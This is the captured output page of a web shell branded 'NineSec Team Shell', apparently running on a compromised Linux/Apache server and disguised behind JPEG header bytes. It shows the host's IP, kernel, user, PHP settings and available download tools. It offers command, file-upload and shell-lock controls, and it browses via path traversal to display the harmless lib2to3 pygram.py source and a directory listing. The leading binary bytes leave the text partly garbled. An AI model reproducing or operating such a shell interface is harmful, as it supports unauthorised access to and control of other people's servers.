�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/../../usr/lib/python3.9/../python3.8/lib2to3/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/../../usr/lib/python3.9/../python3.8/lib2to3/pygram.py
# Copyright 2006 Google, Inc. All Rights Reserved.
# Licensed to PSF under a Contributor Agreement.

"""Export the Python grammar and symbols."""

# Python imports
import os

# Local imports
from .pgen2 import token
from .pgen2 import driver
from . import pytree

# The grammar file
_GRAMMAR_FILE = os.path.join(os.path.dirname(__file__), "Grammar.txt")
_PATTERN_GRAMMAR_FILE = os.path.join(os.path.dirname(__file__),
                                     "PatternGrammar.txt")


class Symbols(object):

    def __init__(self, grammar):
        """Initializer.

        Creates an attribute for each grammar symbol (nonterminal),
        whose value is the symbol's type (an int >= 256).
        """
        for name, symbol in grammar.symbol2number.items():
            setattr(self, name, symbol)


python_grammar = driver.load_packaged_grammar("lib2to3", _GRAMMAR_FILE)

python_symbols = Symbols(python_grammar)

python_grammar_no_print_statement = python_grammar.copy()
del python_grammar_no_print_statement.keywords["print"]

python_grammar_no_print_and_exec_statement = python_grammar_no_print_statement.copy()
del python_grammar_no_print_and_exec_statement.keywords["exec"]

pattern_grammar = driver.load_packaged_grammar("lib2to3", _PATTERN_GRAMMAR_FILE)
pattern_symbols = Symbols(pattern_grammar)

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 13 2023 9:43:48
root
0755
__pycache__
--
March 29 2022 9:54:17
root
0755
fixes
--
March 29 2022 9:54:17
root
0755
pgen2
--
March 29 2022 9:54:17
root
0755
Grammar.txt
8.473 KB
May 11 2021 10:35:23
root
0644
PatternGrammar.txt
0.774 KB
May 11 2021 10:35:23
root
0644
__init__.py
0.007 KB
May 11 2021 10:35:23
root
0644
__main__.py
0.065 KB
May 11 2021 10:35:23
root
0644
btm_matcher.py
6.468 KB
May 11 2021 10:35:23
root
0644
btm_utils.py
9.732 KB
May 11 2021 10:35:23
root
0644
fixer_base.py
6.533 KB
May 11 2021 10:35:23
root
0644
fixer_util.py
14.851 KB
May 11 2021 10:35:23
root
0644
main.py
11.38 KB
May 11 2021 10:35:23
root
0644
patcomp.py
6.889 KB
May 11 2021 10:35:23
root
0644
pygram.py
1.274 KB
May 11 2021 10:35:23
root
0644
pytree.py
27.305 KB
May 11 2021 10:35:23
root
0644
refactor.py
26.757 KB
May 11 2021 10:35:23
root
0644

NineSec Team - 2022